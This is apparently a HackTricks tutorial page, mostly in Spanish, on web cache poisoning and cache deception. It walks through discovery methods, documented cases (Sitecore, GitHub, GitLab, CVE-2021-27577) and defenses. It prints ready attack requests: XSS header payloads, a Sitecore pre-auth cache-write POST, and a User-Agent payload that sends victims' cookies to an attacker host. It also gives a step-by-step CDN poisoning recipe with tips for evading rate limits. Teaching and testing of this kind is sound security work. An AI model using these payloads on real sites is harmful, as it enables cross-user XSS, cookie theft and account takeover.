Cache Poisoning and Cache Deception
Reading time: 19 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
La diferencia
What is the difference between web cache poisoning and web cache deception?
- En web cache poisoning, el atacante hace que la aplicación almacene contenido malicioso en la caché, y ese contenido es servido desde la caché a otros usuarios de la aplicación.
- En web cache deception, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego recupera ese contenido desde la caché.
Cache Poisoning
Cache poisoning tiene como objetivo manipular la caché del lado del cliente para forzar a los clientes a cargar recursos que son inesperados, parciales o que están bajo el control de un atacante. El alcance del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visiten la página durante el período de contaminación de la caché.
La ejecución de un ataque de cache poisoning implica varios pasos:
- Identificación de entradas no clave: Son parámetros que, aunque no son necesarios para que una petición sea cacheada, pueden alterar la respuesta devuelta por el servidor. Identificarlos es crucial porque pueden ser explotados para manipular la caché.
- Explotación de las entradas no clave: Tras identificar las entradas no clave, el siguiente paso consiste en averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
- Asegurar que la respuesta envenenada se almacene en caché: El paso final es asegurarse de que la respuesta manipulada se guarde en la caché. De este modo, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.
Descubrimiento: Comprobar cabeceras HTTP
Normalmente, cuando una respuesta fue almacenada en la caché habrá una cabecera que lo indique; puedes comprobar qué cabeceras deberías vigilar en este post: HTTP Cache headers.
Descubrimiento: Caché de códigos de error
Si sospechas que la respuesta se está almacenando en una caché, podrías intentar enviar solicitudes con una cabecera inválida, lo cual debería responderse con un código de estado 400. Luego intenta acceder a la petición de forma normal y si la respuesta es un código de estado 400, sabes que es vulnerable (y podrías incluso realizar un DoS).
Puedes encontrar más opciones en:
Sin embargo, ten en cuenta que a veces este tipo de códigos de estado no se almacenan en caché, por lo que esta prueba podría no ser fiable.
Descubrimiento: Identificar y evaluar entradas no clave
Puedes usar Param Miner para brute-force parámetros y cabeceras que puedan estar cambiando la respuesta de la página. Por ejemplo, una página puede estar usando la cabecera X-Forwarded-For
para indicar al cliente que cargue el script desde allí:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Provocar una respuesta dañina en el servidor back-end
Con el parámetro/header identificado, comprueba cómo está siendo saneado y dónde se está reflejando o afectando la respuesta desde el header. ¿Puedes abusar de ello de todas formas (¿realizar un XSS o cargar código JS controlado por ti? ¿realizar un DoS?...)
Haz que la respuesta se almacene en la cache
Una vez que hayas identificado la página que puede ser abusada, qué parámetro/header usar y cómo abusar de él, necesitas lograr que la página se cachee. Dependiendo del recurso que intentes poner en la cache esto podría tardar, puede que necesites intentarlo durante varios segundos.
El header X-Cache
en la respuesta puede ser muy útil ya que puede tener el valor miss
cuando la petición no fue cacheada y el valor hit
cuando sí lo está.
El header Cache-Control
también es interesante para saber si un recurso está siendo cacheado y cuándo será la próxima vez que se vuelva a cachear: Cache-Control: public, max-age=1800
Otro header interesante es Vary
. Este header se usa a menudo para indicar headers adicionales que son tratados como parte de la cache key incluso si normalmente no se usan como clave. Por lo tanto, si el usuario conoce el User-Agent
de la victim a la que apunta, puede poison the cache para los usuarios que utilicen ese User-Agent
específico.
Otro header relacionado con la cache es Age
. Define el tiempo en segundos que el objeto ha estado en la proxy cache.
Al cachear una petición, ten cuidado con los headers que usas porque algunos de ellos podrían ser usados inesperadamente como keyed y la victim tendrá que usar ese mismo header. Siempre testea un Cache Poisoning con navegadores diferentes para comprobar si está funcionando.
Ejemplos de explotación
Ejemplo más sencillo
Un header como X-Forwarded-For
se está reflejando en la respuesta sin sanitizar.
Puedes enviar una carga básica de XSS y poison the cache para que todo el que acceda a la página sufra el XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Tenga en cuenta que esto envenenará una petición a /en?region=uk
, no a /en
Cache poisoning to DoS
Cache poisoning through CDNs
En this writeup se explica el siguiente escenario simple:
- El CDN almacenará en caché cualquier cosa bajo
/share/
- El CDN NO decodificará ni normalizará
%2F..%2F
, por lo tanto puede usarse como path traversal para acceder a otras ubicaciones sensibles que serán almacenadas en caché comohttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- El servidor web SI decodificará y normalizará
%2F..%2F
, y responderá con/api/auth/session
, que contiene el auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Las Cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de ello para causar una XSS, por ejemplo, podrías explotar XSS en varios clientes que carguen la respuesta en caché maliciosa.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Ten en cuenta que si la cookie vulnerable es muy usada por los usuarios, las peticiones regulares limpiarán la cache.
Generando discrepancias con delimitadores, normalización y puntos
Consulta:
Cache Poisoning via URL discrepancies
Cache poisoning con path traversal para robar API key
Este writeup explica cómo fue posible robar una OpenAI API key con una URL como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
porque cualquier cosa que coincida con /share/*
será cached sin que Cloudflare normalice la URL, lo cual sí se hacía cuando la petición llegaba al servidor web.
Esto también se explica mejor en:
Cache Poisoning via URL discrepancies
Using multiple headers to exploit web cache poisoning vulnerabilities
A veces necesitarás exploit several unkeyed inputs para poder abusar de un cache. Por ejemplo, puedes encontrar un Open redirect si estableces X-Forwarded-Host
en un dominio controlado por ti y X-Forwarded-Scheme
en http
. Si el servidor está reenviando todas las peticiones HTTP a HTTPS y usa la cabecera X-Forwarded-Scheme
como el nombre de dominio para el redirect, puedes controlar hacia dónde apunta la página con el redirect.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Explotando con Vary
limitado
Si descubres que el header X-Host
se está usando como nombre de dominio para cargar un recurso JS pero el header Vary
en la respuesta indica User-Agent
. Entonces necesitas encontrar una forma de exfiltrate el User-Agent
de la víctima y poison the cache usando ese User-Agent
:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envía una solicitud GET con la petición tanto en la URL como en el cuerpo. Si el servidor web usa la del cuerpo pero el servidor de caché almacena en caché la de la URL, cualquiera que acceda a esa URL usará en realidad el parámetro del cuerpo. Como la vuln que James Kettle encontró en el sitio web de Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Por ejemplo, es posible separar parameters en servidores ruby usando el caracter ;
en lugar de &
. Esto puede usarse para poner valores de parámetros sin clave dentro de parámetros con clave y abusar de ello.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Aprende aquí cómo realizar Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
El Web Cache Vulnerability Scanner puede usarse para probar automáticamente Web Cache Poisoning. Soporta muchas técnicas diferentes y es altamente configurable.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Este patrón observado en el mundo real encadena una primitiva de reflexión basada en cabeceras con el comportamiento de un CDN/WAF para envenenar de forma fiable el HTML cacheado servido a otros usuarios:
- El HTML principal reflejaba una cabecera de petición no confiable (p. ej.,
User-Agent
) en contexto ejecutable. - El CDN quitaba las cabeceras de cacheo pero existía un cache interno/origen. El CDN además auto-cacheaba peticiones que terminaban en extensiones estáticas (p. ej.,
.js
), mientras que el WAF aplicaba una inspección de contenido más débil a GETs de assets estáticos. - Peculiaridades en el flujo de peticiones permitieron que una petición a una ruta
.js
influyera en la key/variant de cache usada para el HTML principal subsecuente, habilitando XSS entre usuarios vía reflexión de cabeceras.
Receta práctica (observada en un CDN/WAF popular):
- Desde una IP limpia (evita degradaciones previas basadas en reputación), establece un
User-Agent
malicioso vía navegador o Burp Proxy Match & Replace. - En Burp Repeater, prepara un grupo de dos requests y usa "Send group in parallel" (single-packet mode funciona mejor):
- First request: GET a
.js
resource path on the same origin while sending your maliciousUser-Agent
. - Immediately after: GET the main page (
/
).
- La carrera de enrutamiento CDN/WAF más el auto-cacheo del
.js
suele sembrar una variante de HTML cacheada envenenada que luego se sirve a otros visitantes que comparten las mismas condiciones de cache key (p. ej., mismas dimensionesVary
comoUser-Agent
).
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Muchos CDNs ocultan las cabeceras de caché; poisoning puede aparecer solo en ciclos de actualización de varias horas. Usa múltiples IPs desde diferentes ubicaciones y regula la velocidad para evitar disparadores de rate-limit o de reputación.
- Usar una IP de la propia nube del CDN a veces mejora la consistencia del enrutamiento.
- Si hay un CSP estricto presente, esto aún funciona si la reflection se ejecuta en el contexto HTML principal y el CSP permite ejecución inline o es bypassed por el contexto.
Impact:
- Si las cookies de sesión no son
HttpOnly
, es posible un ATO zero-click mediante la exfiltración masiva dedocument.cookie
de todos los usuarios que reciben el poisoned HTML.
Defenses:
- Deja de reflejar las cabeceras de la petición en el HTML; codifica estrictamente según el contexto si es inevitable. Alinea las políticas de caché del CDN y del origin y evita variar según cabeceras no confiables.
- Asegura que el WAF aplique inspección de contenido de forma consistente a las peticiones
.js
y a rutas estáticas. - Marca
HttpOnly
(ySecure
,SameSite
) en las cookies de sesión.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl
handler is reached, an xmlcontrol:GlobalHeader
(derived from Sitecore.Web.UI.WebControl
) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Esto escribe HTML arbitrario bajo una clave de caché elegida por el atacante, permitiendo un envenenamiento preciso una vez que las claves de caché son conocidas.
Para más detalles (construcción de la clave de caché, enumeración de ItemService y una RCE de deserialización en cadena post‑auth):
Ejemplos vulnerables
Apache Traffic Server (CVE-2021-27577)
ATS reenviaba el fragmento dentro de la URL sin eliminarlo y generaba la clave de caché usando solo el host, path y query (ignorando el fragmento). Así que la solicitud /#/../?r=javascript:alert(1)
se envió al backend como /#/../?r=javascript:alert(1)
y la clave de caché no contenía la carga útil, solo host, path y query.
GitHub CP-DoS
Enviar un valor inválido en el header content-type desencadenaba una respuesta 405 cacheada. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
GitLab + GCP CP-DoS
GitLab usa GCP buckets para almacenar contenido estático. GCP Buckets soportan el header x-http-method-override
. Por ello era posible enviar el header x-http-method-override: HEAD
y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método PURGE
.
Rack Middleware (Ruby on Rails)
En aplicaciones Ruby on Rails, a menudo se utiliza middleware de Rack. El propósito del código de Rack es tomar el valor del header x-forwarded-scheme
y establecerlo como el scheme de la petición. Cuando se envía el header x-forwarded-scheme: http
, se produce un redirect 301 a la misma ubicación, lo que potencialmente puede causar un Denial of Service (DoS) en ese recurso. Además, la aplicación podría respetar el header X-forwarded-host
y redirigir a los usuarios al host especificado. Este comportamiento puede provocar la carga de archivos JavaScript desde el servidor de un atacante, suponiendo un riesgo de seguridad.
403 y Storage Buckets
Cloudflare almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con headers de Authorization incorrectos resultaba en una respuesta 403 que se cacheaba. Aunque Cloudflare dejó de cachear respuestas 403, este comportamiento podría seguir presente en otros proxies.
Inyección de parámetros con clave
Las cachés suelen incluir parámetros GET específicos en la clave de caché. Por ejemplo, Varnish de Fastly cacheaba el parámetro size
en las peticiones. Sin embargo, si también se enviaba una versión codificada de URL del parámetro (p. ej. siz%65
) con un valor erróneo, la clave de caché se construiría usando el parámetro size
correcto. No obstante, el backend procesaría el valor del parámetro codificado en la URL. URL-encoding del segundo parámetro size
provocaba su omisión por la caché pero su uso por el backend. Asignar un valor 0 a ese parámetro resultaba en un error 400 Bad Request cacheable.
Reglas de User Agent
Algunos desarrolladores bloquean peticiones con user-agents que coinciden con herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como cache poisoning y DoS.
Campos de header ilegales
El RFC7230 especifica los caracteres aceptables en los nombres de header. Los headers que contengan caracteres fuera del rango tchar deberían idealmente provocar una respuesta 400 Bad Request. En la práctica, los servidores no siempre cumplen este estándar. Un ejemplo notable es Akamai, que reenvía headers con caracteres inválidos y cachea cualquier error 400, siempre que no esté presente el header cache-control
. Se identificó un patrón explotable donde enviar un header con un carácter ilegal, como \
, daba como resultado un 400 Bad Request cacheable.
Encontrar nuevos headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
El objetivo de Cache Deception es hacer que los clientes carguen recursos que van a ser guardados por la caché con su información sensible.
Primero, tenga en cuenta que las extensiones como .css
, .js
, .png
, etc. suelen estar configuradas para ser guardadas en la caché. Por lo tanto, si accedes a www.example.com/profile.php/nonexistent.js
la caché probablemente almacenará la respuesta porque detecta la extensión .js
. Pero, si la aplicación está respondiendo con los contenidos sensibles del usuario almacenados en www.example.com/profile.php, puedes robar esos contenidos de otros usuarios.
Otras cosas a probar:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Usar extensiones menos conocidas como
.avif
Otro ejemplo muy claro se encuentra en este write-up: https://hackerone.com/reports/593712.
En el ejemplo, se explica que si cargas una página inexistente como http://www.example.com/home.php/non-existent.css el contenido de http://www.example.com/home.php (con la información sensible del usuario) será devuelto y el servidor de caché guardará el resultado.
Entonces, el atacante puede acceder a http://www.example.com/home.php/non-existent.css en su propio navegador y observar la información confidencial de los usuarios que accedieron antes.
Nótese que el proxy de caché debe estar configurado para cachear archivos basándose en la extensión del archivo (.css) y no basarse en el content-type. En el ejemplo http://www.example.com/home.php/non-existent.css tendrá un content-type text/html
en lugar de un mime type text/css
.
Aprende aquí sobre cómo realizar Cache Deceptions attacks abusing HTTP Request Smuggling.
Herramientas automáticas
- toxicache: Golang scanner para encontrar vulnerabilidades de web cache poisoning en una lista de URLs y probar múltiples técnicas de inyección.
Referencias
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.